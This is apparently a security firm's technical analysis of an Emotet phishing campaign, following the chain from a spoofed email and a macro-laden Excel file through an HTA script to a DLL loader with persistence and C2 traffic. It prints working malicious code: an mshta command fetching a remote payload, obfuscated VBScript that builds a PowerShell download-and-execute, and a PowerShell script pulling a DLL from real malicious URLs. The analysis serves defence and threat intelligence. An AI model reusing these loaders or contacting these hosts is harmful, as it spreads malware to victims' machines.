Technical Malware Analysis: The return of Emotet

motes.netbytesec.com/2022/02/technical-malware-analysis-return-of.html

Fareed

This post was authored by Taqi, Rosamira and Fareed.



Overview

NetbyteSEC malware analyst team has come across a Microsoft Excel document containing a malicious macro code. The suspicious email was received by our client. The malicious attachment seems to be an Emotet malware that is often used in phishing campaigns.

Emotet is a Trojan that primarily spreads through malicious spam attachments pretending to be invoices, shipping documents, delivery notification, etc. The attachment may arrive either via malicious script, macro-enabled document files, or malicious link, which will download the Emotet excutable upon execution. The Emotet emails may contain familiar branding designed to look like a legitimate email. Emotet may try to persuade users to click the malicious file.

The scenario of the analysis is as follows:



Figure 1: Flow of Emotet Attack

Email analysis

Spearphishing Attachment

Upon opening the victim's suspicious email attachment. The attachment is encrypted with the given password "1843". Since the attachment was encrypted, the Google mail server cannot scan for viruses. It was normal for an organization to encrypt their attachment however, the receiver should be aware of potential malicious content when received via email.

```
Begin forwarded message:
                                    Display name
                                                                        Email Address
> From: "<Group Procurement Communication>
                                                              clinerops2jed@=
bluewaysintl.com>
> Date: January 28, 2022 at 12:05:25 PM GMT+8
> To:
> Subject: Fw:
>=20
> =EF=BB=BF=20
> Hi,=20
>=20
>=20
>=20
>=20
> untitled 176399.zip
>=20
> archive password 1843=20
>=20
>=20
> Thank you=20
>=20
> Group Procurement Communication
> gpcomm@tm.com.my
>=20
>=20
--Apple-Mail-EA934100-F343-4CCF-87A0-9FA9EDBA5804
Content-Type: multipart/mixed; boundary=Apple-Mail-91E6DCA8-05A8-4A51-938B-6289ABB2D402
Content-Transfer-Encoding: 7bit
--Apple-Mail-91E6DCA8-05A8-4A51-938B-6289ABB2D402
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: quoted-printable
```

Figure 2 : Email details

Investigating the email, Netbytesec malware analyst noticed that the attackers used DNS name spoofing to impersonate their display name as a legitimate user. Also, attached to the email is an attachment of a zip file containing payload of the attackers.

Malicious document analysis

Further analysis will focus on the malicious document (XLS) used as the lure inside the password protected zip file.

MD5 Hash: 25995b47257212e2e3ca5f7704c9e830 Filename: untitled_176399.xls File Type: Excel Binary File Format (.xls)

Upon opening the malicious document, the attacker used a common tactic deployed by cybercriminals to trick victims to click the "Enable Content" ribbon button display in Microsoft Excel as shown in Figure 3 below. Unsuspected victim will enable the content macro thus leading to the malicious script being executed in the background stealthily without the victim's knowledge.



Figure 3 : Opening the malicious document

Enabling the content will execute the macro embedded in the lure document which will lead to malicious macro execution.

Investigating the Excel file, Netbytesec malware analyst found that there is a malicious Excel 4.0 macro stored inside the Excel file.



Figure 4 : Results from OleVBA3 against the malicious attachment

As shown in the figure 4 above, the malicious code will try to execute an obfuscated code of *mshta http://91.240.118.168/oo/aa/se.html* via CMD.

Next, Netbytesec malware analysts perform VirusTotal lookup to check for any further clues on the IP address found in the VBA macro. It seems that 16 security vendors in VirusTotal flagged the IP address as malicious as shown in following figure.

16	① 16 security vendors flagged this IP address as malicious				
/90	91.240.118.168 (91.240.118.0/24) AS 57523 (Chang Way Technologies Co. Limited)		RU		
X Community Score					
DETECTION	DETAILS RELATIONS COMMUNITY				
ADMINUSLabs	() Malicious	Avira	① Malware		
BitDefender	() Malware	Comodo Valkyrie Verdict	() Malware		
CRDF	() Malicious	CyRadar	() Malicious		
Dr.Web	() Malicious	ESET	() Malware		
ESTsecurity-Threat Ins	side () Malicious	Forcepoint ThreatSeeker	() Malicious		
Fortinet	() Malware	G-Data	() Malware		
Kaspersky	() Malware	Lionic	() Malicious		
Sophos	() Malicious	Webroot	() Malicious		

Figure 5 : 16 security vendors flagged this IP address as malicious.

Futhermore, the community in VirusTotal also mentioned that the IP address is a collection of IP addresses used for the Emotet malware campaign. This convinces Netbytesec malware analyst that the IP address found in the Excel 4.0 macro is one of the Indicator of Compromise for the Emotet campaign.

Once the malicious document (maldoc) opens and enables the macro, the maldoc runs the macro code and downloads the se.html which contains malicious javascript payload. The deobfuscated Macro VBA code from the malicious excel document would look like this:

```
CMD.EXE /c mshta http://91.240.118.168/oo/aa/se.html
```

This malicious code uses *mshta.exe* which will fetch and execute HTA code in the se.html. The usage of mshta.exe is a common technique used by malicious attackers to execute Microsoft HTML Application (HTA) files. Mshta may execute Windows Script Host code (VBScript and JScript) contained within HTML, as its full name suggests. In this scenario, the code *se.html* was a javascript and visual basic scripting payload.

Based on the PCAP analaysis, below figure shows the HTTP request and response to the server (91.240.118.61) to fetch *se.html*. We will explain in the next section about what *se.html* does in this malicious attachment.



Figure 6 : The captured network traffic that is generated by the malicious document. Upon opening the malicious HTML file (*se.html*), the HTML page appears to be protected by HTML Guardian per said by the banner in the display.

	\leftarrow \rightarrow \bigcirc File C/Users/NBS/Desktop/CMDWatcher/se.html	् 🏠 🤹 🚇 🥌 …
Γ		
l	The source code of this page is protected b	y HTML Guardian
l	The ultimate tool to protect your HTML code, image	s, Java appiets, Javascripts,
l	links, keen web content filters away an	d much more
l	www.ProtWare.com	
l	www.Frotware.com	
l		
l		
l		
l		
l		
l		
l		
l		
L		

Figure 7 : Opening the se.html through the web browser

Trying to read through the browser's view source file also prevents us from getting more information regarding what the HTML content. Scrolling down the html file, Netbytesec malware analyst discovered some HTML code starting at line 65.

<html><head><meta http-equiv='x-ua-compatible' content='EmulateIE9'><script>l1l=document.documentMode||do

Figure 8 : The content of the html file can be seen started at line 65 Netbytesec malware analyst started to investigate and analyzed the malicious payload *se.html* and found the code was obfuscated javascript code.

The figure below shows the obfuscated javascript code that Netbytesec malware analyst gained from *se.html*.

<pre><html><head><meta content="EmulateIE9" http-equiv="x-ua-compatible"/><script></script></head></html></pre>

Figure 9 : Obfuscated Javascript se.html

Inspecting the code can see that the most of the script is used for the display page and only portion of the code for the malicious payload.



Figure 10 : HTML Structure of se.html

```
<script language="VBScript">
       Window.ReSizeTo 0, 0
       Window.MoveTo -4000, -4000
  C0 = " $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}
  {HgfRrtGdf}g{HgfRrtGdf}
  (''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}'
  '');"
 AE = " -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}.
 Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}
 {HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', '');"
 CM = " $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}
  {HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}n1{HgfRrtGdf}{HgfRrtGdf}
 {HgfRrtGdf}o'.replace('{HgfRrtGdf}', '');"
 GN = "I`E`X $JI|I`E`X" + " "
 GA = "$JI=($c1,$c4,$c3 -Join '');"
 AGAGHAAAA = AE + CM + CO + GA + GN
 WS = Chr(87) & Chr(83) + "cr" + StrReverse(".tpi") + Chr(83) & Chr(104) + "ell"
  set HDsdgsdf = CreateObject(WS)
  fdfggdsr = Chr(Chr(49) & Chr(49) & Chr(50)) & Chr(Chr(49) & Chr(49) &
 Chr(49))+Chr(Chr(49) & Chr(49) & Chr(57)) & Chr(101)+Chr(114) & Chr(115) &
 Chr(104)+Chr(101) & Chr(108)+Chr(108) & Chr(32)
 HDsdgsdf.Run fdfggdsr + AGAGHAAAA, Chr(48)
      Close
</script>
<hta:application id="oHTA" applicationname="Bonjour" application="yes" width="10px"
height="10px"></hta:application>
<span style="visibility:hidden">qweasdzxc</span>
```

Figure 11 : VB script contained in an html file.

Based on figure 11 above, the syntax "*Window.ReSizeTo 0,0*" refers to nullifying the size of the script in the webpage. On other hand, '*visibility:hidden*' hides the appearance of the script while disabling click-ability on the element.



Figure 12 : Deobfuscated VB script which leads to an obfuscated Powershell command.

Next, Netbytesec malware analyst start to investigate the script in the HTML file that does the execution of the obfuscated Powershell commands and able to retrieve the obfuscated Powershell payload.

Command and Scripting Interpreter: Powershell

The code mentioned in figure 12 are as follow:

Figure 13 : Deobfuscated Powershell code.

From the decoded Powershell, Netbytesec malware analysts looked up the link URL *http://91.240.118.168/oo/aa/se.png* and found another malicious Powershell script. The *se.png* file contains Powershell code as shown in figure below.

```
$path = "C:\ProgramData\QWER.dll";
$url1 = 'http://farmmash.com/edh2fa/g2Q7Qbgs/';
$url2 = 'http://karensgardentips.com/cgi-bin/hfpv/';
$url3 = 'http://centrobilinguelospinos.com/wp-admin/w8528qkQnMPLDUc/';
$url4 = 'http://unitedhorus.com/wp-content/m3oxVSV2uYW2rbh/';
$ur15 = 'http://vldispatch.com/licenses/JE6012dfhrk/';
$url6 = 'http://il-piccolo-principe.com/wp-content/Ua9GvD7acXnDz/';
$ur17 = 'http://hardstonecap.com/well-known/ps9kNMgc6/';
$ur18 = 'http://3-fasen.com/wp-content/3B10hBbW/';
$ur19 = 'http://baldcover.com/wp-admin/oRwkRUWpbJ55/';
$url10 = 'http://tastedonline.com/cgi-bin/GOHSO621KlmM6m/';
$url11 = 'http://wencollection.com/wp-admin/pY6t2bVC0QWEpk7Q/';
$url12 = 'http://tombet.net/jmaruk/fd8sVaiAcwcsfMdONH/';
$web = New-Object net.webclient;
$urls = "$url1,$url2,$url3,$url4,$url5,$url6,$url7,$url8,$url9,$url10,$url11,$url12".split(",");
foreach ($url in $urls) {
   try {
       $web.DownloadFile($url, $path);
       if ((Get-Item $path).Length -ge 30000) {
           [Diagnostics.Process];
           break;
       }
   }
   catch{}
Sleep -s 4;cmd /c C:\Windows\SysWow64\rundll32.exe 'C:\ProgramData\QWER.dll',AADD;
```

Figure 14 : Powershell code from se.png that will downloads malicious DLL from available website

Based on the figure 14 above, the Powershell script basically will download an executable from the URLs and execute it using *Rundll32.exe*.

Signed Binary Proxy Execution: Rundll32

According to the previous Powershell command, the malicious script downloads the malicious DLL file and saves it at *C:\ProgramData* folder with name *QWER.DLL*. Next, the Powershell command will call *cmd.exe* to execute RunDLL.exe with QWER.DLL as its DLL path and "AADD" as its arbitrary export.



Figure 15: Powershell execution to run malicious DLL files with arbitrary arguments As shown in the red box in figure below, at the end of the script, the script will execute the command to begin the DLL binary execution.

<pre>\$path = "C:\ProgramData\QWER.dll";</pre>
suril = 'http://farmmash.com/edh2fa/g2Q7Qbgs/';
sun2 = http://sarensgargentps.com/cgr-bin/ntpv/; 5 sun2 = 'http://centrobilingue/ssine.com/cgr-bin/mtpv/; 5 sun2 = 'http://centrobilingue/ssine.com/cgr-bin/mtpv/; 5
<pre>\$url4 = 'http://unitedhorus.com/wp-content/m3oxVSV2uYW2rbh/';</pre>
<pre>\$urls = 'http://vidispatch.com/licenses/JE6Ol2dfhrk/';</pre>
Surb = "http://i=piccolo-principe.com/wp-content/UB/Surb/acXh0Z/; Surb = "http://i=piccolo-principe.com/wp-content/UB/Surb/acXh0Z/;
\$url8 = "http://3-fasen.com/wp-content/3Bl0hBbW/;
<pre>\$url9 = 'http://baldcover.com/wp-admin/oRwkRUWpbJ55/';</pre>
Sun10 = http://dastedonine.com/cgr-bin/GOHSOb20k21kimMem/; Sun11 = "http://wascedile.tion.com/cgr-bin/GOHSOb20k21kimMem/;
<pre>\$url12 = 'http://tombet.net/jmaruk/fd8sVaiAcvcsfMdONH/';</pre>
Sweb = New-Object net.webcient:
<pre>\$uris = "\$uri1,\$uri2,\$uri3,\$uri4,\$uri5,\$uri6,\$uri7,\$uri8,\$uri9,\$uri10,\$uri11,\$uri12".split(",");</pre>
foreach (\$url in \$urls) {
try { Sveb.DownloadFile(Surl, Soath);
if ((Get-Item \$path).Length -ge 30000) {
[Diagnostics.Process];
break;
catch{}
} Sleep -s #;cmd /c C:\Windows\SysWow64\rundll32.exe 'C:\ProgramData\QWER.dll',AADD;

Figure 16: DLL execution

"AADD" is the export argument used for executing QWER.DLL. However, the arguments can be anything and arbitrary as long as it is not empty or null in order to run it as intended. After that, a second Powershell execution will be triggered.

F	Fuent 1 Microsoft-Windows-Surmon				
ŀ					
	General Details				
	If the event originated on another computer, the display information had to be saved with the event.	^			
	The following information was included with the event:				
	- 2022-01-28 08:34:48:139 EV, RenderedValue_2.00 4600 C-Windows/SyzWOW64/rundll32.exe 10.0.19041.746 (WinBuild.16010.0800) Windows host process (Rundll32) Windows host process (Rundll32) Windows host process (Rundll32) C:Windows/SyzWOW64/rundll32.exe C:Windows/SyzWOW64/rundl32.exe C:Windows/SyzWOW64/rund132.exe C:Windows/SyzWOW64/rund132.exe C:Windows/SyzWOW64/rund132.exe C:Windows/SyzWOW64/rund132.exe C:Windows/SyzWOW64/rund132.exe C:Windows/SyzWOW64/rund132.exe C:Windows/SyzWOW64/rund132.exe C:Windows/SyzWOW64/rund132.exe C:Windows/SyzWOW64/rund132.exe C:Windows/SyzWOW64/rund132.exe C:Windows/SyzWOW64/rund132.exe C:Windows/SyzWOW64/rund132.exe C:Windows/SyzWOW64/rund132.exe C:Windows/SyzWOW64/rund132.exe C:Windows/SyzWOW64/rund132.exe C:Wind				
	Medium MD5=889899C52A60DD49227C5E485A016679,SHA256=6CBE0E1F046B13B29BFA26F8B368281D2DDA7EB9B718651D5856F22CC3E02910,IMPHASH=3086D4AA582B125B0ABCA749B5D12B3A EV_RenderedValue_18.00 4428				
	C:\Windows\SysWOW64\rundll32.exe C\Windows\SysWow64\rundll32.exe C\ProgramData\QWER.dll,AADD				
	The locale specific resource for the desired message is not present	~			

Figure 17: Rundll32.exe executable running the malicious file with specific arguments, 'DIIRegisterServer'

The second execution will only run after the first execution of the malicious DLL which contains arbitrary arguments as a trigger point. The secondary execution contains the real entry point of the malicious DLL which uses cmd.exe to call Rundll32.exe with the export arguments of *DllRegisterServer*.

This behavior can be found in the disassembled code where the malware first will decrypt or unpack their code in the heap and then call the address of the unpacked code at the address 10046FA3 as shown in the figure below.

10046f7f	JZ	LAB_10046fca	
10046f81	MOV	EAX, dword ptr [EBP + local_48]	
10046f84	MOV	this, dword ptr [EAX]	
10046f86	MOV	<pre>EDX, dword ptr [EBP + local_18]</pre>	
10046f89	ADD	EDX, dword ptr [this + 0x28]	
10046f8c	MOV	<pre>dword ptr [EBP + local_60], EDX</pre>	
10046f8f	MOV	EAX, [DAT_1006d448]	; = ??
10046f94	PUSH	EAX	
10046f95	MOV	this, dword ptr [DAT_1006d444]	; = ??
10046f9b	PUSH	this	
10046f9c	MOV	EDX, dword ptr [DAT_1006d440]	; = ??
10046fa2	PUSH	EDX	
10046fa3	CALL	dword ptr [EBP + local_60]	; Decrypted code. Malicious function
10046fa6	MOV	dword ptr [EBP + local_5c], EAX	
10046fa9	СМР	dword ptr [EBP + local_5c], 0x0	
10046fad	JNZ	LAB_10046fbe	
10046faf	PUSH	0x45a	; DWORD dwErrCode for SetLastError
10046fb4	CALL	<pre>dword ptr [->KERNEL32.DLL::SetLastError]</pre>	
10046fba	JMP	LAB_10046fec	

Figure 18: The sample call the unpacked code

In the unpack/decrypted code, there are two main functions that the subroutine will do. The first one is to spawn the Rundll32 command and the second part of the subroutine is to exit the process. When the spawn of the Rundll32 function is being called, it will literally run the

command with the export name "DIIRegisterServer" which will invoke the "DIIRegisterServer" export function at the second stage.

In the figure 19 below, the sample build up and import CreateProcessW Windows API from kernel32.dll and runs the function which lead to the command execution of Rundll32 application.



Figure 19: QWER.DLL sample import CreateProccessW Windows API

Drilling down the inner code of the export *DllRegisterServer* will gave us a clue what does the function does. The first subroutine in the function will do the unpacking process of the code into an allocated memory and return the address in EAX register. The address then will be invoke at line *0x10045da0* as shown in following figure.

DllReg	isterServer	
10045d30 PUSH	EBP	
10045d31 MOV	EBP, ESP	
10045d33 SUB	ESP, 0x1c	
10045d36 MOV	EAX, [DAT_100695e8]	; = BB40E64Eh
10045d3b XOR	EAX, EBP	
10045d3d MOV	dword ptr [EBP + local_c], EAX	
10045d40 MOV	<pre>byte ptr [EBP + local_20], 0x44</pre>	
10045d44 MOV	<pre>byte ptr [EBP + local_1f], 0x6c</pre>	
10045d48 MOV	<pre>byte ptr [EBP + local_1e], 0x6c</pre>	
10045d4c MOV	<pre>byte ptr [EBP + local_1d], 0x52</pre>	
10045d50 MOV	byte ptr [EBP + local_1c], 0x65	
10045d54 MOV	byte ptr [EBP + local_1b], 0x67	
10045d58 MOV	byte ptr [EBP + local_1a], 0x69	
10045d5c MOV	<pre>byte ptr [EBP + local_19], 0x73</pre>	
10045d60 MOV	<pre>byte ptr [EBP + local_18], 0x74</pre>	
10045d64 MOV	<pre>byte ptr [EBP + local_17], 0x65</pre>	
10045d68 MOV	<pre>byte ptr [EBP + local_16], 0x72</pre>	
10045d6c MOV	<pre>byte ptr [EBP + local_15], 0x53</pre>	
10045d70 MOV	<pre>byte ptr [EBP + local_14], 0x65</pre>	
10045d74 MOV	<pre>byte ptr [EBP + local_13], 0x72</pre>	
10045d78 MOV	<pre>byte ptr [EBP + local_12], 0x76</pre>	
10045d7c MOV	<pre>byte ptr [EBP + local_11], 0x65</pre>	
10045d80 MOV	byte ptr [EBP + local_10], 0x72	
10045d84 MOV	byte ptr [EBP + local_f], 0x0	
10045d88 LEA	EAX=>local_20, [EBP + -0x1c]	
10045d8b PUSH	EAX	
10045d8c MOV	ECX, dword ptr [DAI_1006d44c]	; = ??
10045d92 PUSH		
10045093 MOV	ELX, DAT_10000430	; = :: • Unpack code and noturn address to ear
10045098 CALL	dword str [EPD + local 9] EAX	; onpack code and recurn address to eax
10045da0 CAL	dword ptr [ERP + local 8]	: : Call the unnack code
10045da3 X0P	FAX. FAX	, , catt the anpack code
10045da5 MOV	ECX, dword ptr [EBP + local c]	
10040000 III PIOV	cost anota bet from a cocar_cl	

Figure 20: DIIRegisterServer code

In this unpacked section, the malware makes the connection to three different C2 IP addresses which will be explained in section *TA001 Command and Control* in the next section ahead.

Registry Run Keys / Startup Folder

After the malware attempts to register at startup of the windows as persistence mechanism, it will move and rename QWER.DLL to a new path with a new arbitrary name of DLL and new arbitrary arguments. It will register on HKEY-USERS that contains user-specific configuration information for all currently active users on the computer.

General Details				
The description for Event ID 13 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.				
If the event originated on another computer, the display information had to be saved with the event.				
The following information was included with the event:				
T1060, Run Key SetValue 2022-01-28 07:43:35.059 EV_RenderedValue_3.00 7012 C:\Windows\SysWOW64\rundll32.exe HKU\S-1-5-21-1829722740-1287344585-2334727426-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\rqjcvpkn.uqg C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\AppData\Local\Wqqnrkbinomed\rqjcvpkn.uqg",rYhtfVYWYJdqGK				
The message resource is present but the message was not found in the message table				

Figure 21: Malware attempt to register at startup of the windows as persistence mechanism, with alongside new binary with new arguments at new path

The persistence of the malware is set up to be running when the victim starts up their machine through Windows Registry's register at

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.



Figure 22: Again, arbitrary arguments is used to trigger and run the new malicious DLL

Event 1, Microsoft-Windows-Sysmon X				
General Details				
The description for Event ID 1 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or re component on the local computer.	pair the ^			
If the event originated on another computer, the display information had to be saved with the event.				
The following information was included with the event:				
- 2022-01-28 08:34:54.296 EV_RenderedValue_2.00 5184 C:\Windows\SyWOW64\rundII32.exe 100.19041.746 (WinBuidt.160101.000) Windows host process (RundII32) Microsoft Corporation RUNDL32:EXE C:\Windows\SyWOW64\rundII32.exe "C-\Users\user\AppData\Local\Tzniuzx\kbpfr.te",DIIRegisterServer C:\WensivesSuscPocument\ DESKTOP-SKVHRD3Juser EV_RenderedValue_13.00 145509 1				
Medium MD5=889899C52A60DD49227C5E485A016679,SHA256=6CBE0E1F046B13B298FA26F8B368281D2DDA7EB98718651D5856F22CC3E02910,IMPHA5H=3086D4AA5B2B125B0ABCA74985D12B3A EV_RenderedValue_18.00 6408				
C:\Windows\SysWOW&4\rundll32.exe C:\Windows\SysWOW&4\rundll32.exe *C:\Users\user\AppData\Local\Tzniuzx\kbpfr.ste*,brEyqdn	~			

Figure 23 : New malware with persistence at boot start-up executing DIIRegisterServer At this point, the malware is well set up and hidden in a new path and persistence. It will run every time the current user is booting up their machine.

Command and Control

During investigation, the communication with the C2 server was captured by Sysmon log activity via port 8080.

Eve	Event 3, Microsoft-Windows-Sysmon X				
0	General Details				
	The description for Event ID 3 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.				
	If the event originated on another computer, the display information had to be saved with the event.				
	The following information was included with the event:				
	2021-08-17 07:50:00.189 EV_RenderedValue_2.00 7012 C:\Windows\SysWOW64\rundII32.exe DESKTOP-5KVHRD3\user tcp True False 192-168.80.236 DESKTOP-5KVHRD3.localdomain 49883				
	False 159.69.43.124 static. 124.43.69.159.clients.your-server.de 8080				
	The message resource is present but the message was not found in the message table				

Figure 24 : Malware communicating with C2 Server of 159.69.43.124:8080

The TCP connection is initiated to 159.69.43.124 through 8080 port of the server right after the DLL was executed. According to the Sysmon log, the domain name resolved to this IP is *clients.your-server.de*.

12	12 security vendors flagged this IP address as malicious	□□ :
790	159.69.43.124 (159.69.0.0/16) AS 24940 (Hetzner Online GmbH)	DE
X Community V Score		
DETECTION	DETAILS RELATIONS COMMUNITY 3	
Collections ①		
temot by Thr	et Collection Domains: 10 Files: 78708 IPs: 172 URLs: 493 eatFox	
Emot by Car	et Collection Domains: 5 Files: 10695 IPs: 294 URLs: 3 IosCabel	
Contained In Graphs		
Q gcarracelas	attachWithPasswd 2022-01-28 14:28:39	0

Figure 25 : Virustotal intelligence confirmed that the IP is used for Emotet Command & Control server

The malware uses Windows API *InternetConnectW* to create the connection to the C2 server. As you can see in the following figure, the malware creates the first connection to the IP address 159.69.43.124 via 8080 port, the same as detected in the Sysmon log.

	042E0165	8B45 38	mov eax, dword ptr ss:[ebp+38]		^	Hide FPU
	042E0168	E8 2F2CFFFF	call 420209F		EAX 6D456F70 <	wininet.InternetConnectW>
	042E0170	83C4 10	add esp,10		ESX 00000000	
	042E0173	53	push ebx	dwContext	EDX 206988909	
	042E0174	53	push ebx	dwFlags	EBP 0269F780	
	042E0175	FF75 30	push dword ptr ss:[ebp+30]	dwService	ESP 0269F76C	
	042E0178	53	push ebx	lpszPassword	ESI 00001F90	
	042E0179	53	push ebx	lpszUserName	EDI 00CC0004	
	042E017A	56	push esi	nServerPort (8080)		
	@ 042E017B	FF75 20	push dword ptr ss:[ebp+20]	[ebp+20]:L"159.69.43.124" (lpszServerName)	EIP 042E017F	
	042E017E	57	push edi	hInternet	551.466	
19		FFD0	call eax	InternetConnectW	EFLAGS 00000300	
	042E0181	56	pop edi		OF A SE A DE A	
	04220182	50	pop est	Connection to C2 server on port 8080	CF 0 TF 1 IF 1	
	04220103	90E5	nov esp ebp			
	04220104	50	non ebo		LastError 00000000	(ERROR_SUCCESS)
	04220100	63	rat		LartStatur Connort	CTATHE ODIECT NAME NOT COUNT
	04250188	55	push ebp			
	042E0189	8BEC	mov ebp.esp		Default (stdcal)	▼ S Q Unlocked
	042E018B	83EC 14	sub esp. 14		1: [esp] 00CC0004	^
	042E018E	56	push esi		2: [esp+4] 0297D968 [-159.69.43.124
	042E018F	FF75 58	push dword ptr ss:[ebp+58]		3: [esp+8] 00001F90	
	042E0192	33F6	xor esi,esi		4. [esp+c] 0000000	
	04.750104	FF75 54	nuch dword ntr ss:[ehn+54]		5. [esp+ie] eeeeeee	
	<			>	_	
fword ptr ss:[ebp+20	0]=[0269F7D0 8L	"159.69.43.124"]=02970	968 L"159.69.43.124"			
042E017B					٢	>
Ump 1 21 Dump 2	1 Dump 3 1 Dump 3	ump 4 🛛 🗱 Dump 5 🛛 👹 Watc	h 1 K= Locals 🌮 Struct	0269F76C 00CC0004		^
Address Hex ASCII 0269F770 0297D968 L*159					9.69.43.124"	
2270958 31 00 35 00 39 00 2E 00 36 00 39 00 2E 00 34 00 1.5.96.94.						
22970978 33 00 2E 00 31 00 32 00 34 00 00 00 00 00 00 31.2.4						
0269F77C 00000000 0269F77C 00000000 00 00 00 00 00 00 00 00 00 00						
				# #760E7881 888888 1		

Figure 26 : Malware connection to first C2 server, 159.69.43.124

Observing the behavior in the debugger resulting us to discover the second C2 connection. The communication was made to the different IP address which is 45.79.80.198 on port 443.



Figure 27 : Malware making second connection to another C2 server, 45.79.80.198 Initiating the request of the connection will create the connection as Netbytesec malware analyst observe the network behaviour and step over the *HttpSendRequest* function.

						-				_		_	-
EIP	→● 042E00AE	FFD0	call eax	^		1	Hide FPU	Name	Local address	Local	Remote address	Rem	F
	042EBDB1	88E5	mov esp,ebp		EAX	60454548	cwiningt_HttpSendRenue ^	dasHost.ex	WinDev2101Eval	3702			ų
	042EBDB3	50	pop eop		EBX	00000000		dasHost.ex	WinDev2101Eval	\$5173			L.
	042EBDB4	C3	ret		ECX	00000025	'\$'	dasHost.ex	WinDev2101Eval	3702			t,
	042EBDB5	33	push eop		EDX	0000003		dasPiont ex.	WinDev2101Eval	55174			t.
	04228086	88EC	mov eop,esp		EBP	0269F7C8		E Isass.exe (7	WinDev2101Eval	49664			÷
	04228088	FF75 30 EE75 30	push dword ptr ss:[ebp+30]		ESP	0269F7A8		E kass eve (7.	WinDev2101Eval	49664			÷
	04228088	FF75 28	oush dword otr ss:[ebp+28]		ESI	090261FA		nundli32 ex	WinDev2101Eval In	1287	E1179-198 members linode	443	÷
	0 042EBDC1	FF75 24	push dword ptr ss:[ebp+24]		EDI	00000000		Canada av	WinDer/2101E-ral	49670			÷
	0 042EBDC4	FF75 20	push dword ptr ss:[ebp+20]		ETP	042EBDAE		E services es	WinDer/2101E-ral	40670			÷
	@ 042FRDC7	FF75 1C	push dword ptr ss:[ebp+1C]					- service.et	WINDEVE TOTEVAL	42010			4
	0 042EBDCA	FF75 18	push dword ptr ss:[ebp+18]		EFLAG	5 00000300		in spoolsv.ex	winDev2101Eval	49009			÷.
	042EBDCD	FF75 14	push dword ptr ss:[ebp+14]		ZF 0	PF 0 AF 0		im speelsv.ex	WinDev2101Eval	49009			4
	042EBDD0	FF75 10	push dword ptr ss:[ebp+10]		OF 0	SF 0 DF 0		svchost.ex	WinDev2101Eval	49007			1
	042EBDD3	FF75 0C	push dword ptr ss:[ebp+C]		CF 0	TF 1 IF 1		svchost.ex	WinDev2101Eval	49667			1
	042EBDD6	FF75 08	push dword ptr ss:[ebp+8]					svchost.ex	WinDev2101Eval	49666			1
	042EBDD9	52	push edx		Laste	rror 000000	C (ETATUS NO TOKEN)	svchost.ex	WinDev2101Eval	49666			1
	042EBDDA	51	push ecx		<		>	svchost.ex	WinDev2101Eval	49668			1
	042EBDDB	E8 4511FFFF	call 420CF25		Default (st	idcall)	👻 💈 💭 Unlocked	svchost.ex	WinDev2101Eval	49668			1
	042EBDE0	83C4 34	add esp,34		1: [e:	sp] 00CC000C		svchost.ex	WinDev2101Eval	49671			1
	042EBDE3	FF75 28	push dword ptr ss: eop+28		2: [e:	sp+4] 0298514	0	svchost.ex	WinDev2101Eval	49671			1
	04ZEBDED	FF/5 18	push dword ptr ss: eop+18		3: [e:	sp+8] FFFFFFF	F	svchost.ex	WinDev2101Eval	63755			ŧ,
	04228029	FF75 24	push dword ptr ssilebp-24		4: [e:	sp+C] 0000000	10	sychost.ex	WinDev2101Eval	5353			1
	04220020	EE75 30	ouch dword ptr ss: ebp-201		5: [e:	sp+10] 000000	100	sychost.ex	WinDev2101Eval	5355			t,
	<							vchost.ex	WinDev2101Eval	7680			i.
eax= <win< td=""><td>inet.HttpSendR</td><td>equest#></td><td></td><td></td><td>1</td><td></td><td></td><td>E sychoster</td><td>WinDev2101Eval</td><td>7680</td><td></td><td></td><td>÷</td></win<>	inet.HttpSendR	equest#>			1			E sychoster	WinDev2101Eval	7680			÷
								E sychost ex	WinDev2101Eval	500			÷
					1			E sychost ev	WinDer/2101Eval	4500			î
042EBDAF					<		>	E orchort ex	WinDer/2101E-ral	500			1
the former t	10 march 10		and Manual Instant 9 mars	0269E7A8 00CC000C			0	The such set of	Winders 10 Contract	400			2
	ang bomp 2 an	Comp 3 gig comp 4 gig co	ump's 👷 watch 1 (4+) Locals 🦉 seruct	0269F7AC 02985140				svchost.ex	windev2101Eval	4200	20 107 71 02		2
Address Nex ASULT 0269F7B0 FFFFFFF								svchost.ex	WinDev2101Eval.lo	1272	20.197.71.89	443	÷
02097E310 34 00 35 00 72 00 39 00 22 00 37 00 39 00 22 00 38 00 30 00 m.57.98.0.								svchost.ex	WinDev2101Eval	5040			1
0297E320	2E 00 31 00 3	9 00 38 00 00 00 00 00	00 00 00 00	0269F7B8 0000000				svchost.ex	WinDev2101Eval	5050			1
0297E330	00 00 00 00 0		00 00 00 00	0269F7BC 00047BD3				svchost.ex	WinDev2101Eval	3702			1
0297E340	00 00 00 00 0	0 00 00 00 00 00 E3 97 02	A8 RE 00 08 500"	0269F7C0 000D481F				svchost.ex	WinDev2101Eval	61459			I.
0297E350	90 1F 00 00 0		00 00 00 00	0269F7C4 0003D3E7				svchost.ex	WinDev2101Eval	3702			ł,

Figure 28 : Malware using HttpSendRequest function

Conclusion

The attacker sends email to the targeted victims by spoofing their display name to a legitimate name. However, the email displays still stays the same, which is the original email of the Emotet campaign agent. For this specific case, the attacker sent an email to one of the target using hijacked email thread. In the email is attached an excel file titled 'untitled_176399.xls'. The content of their email contains a malicious script that will execute mshta binary in order to download and execute the next malicious payload from 91.240.118.168.

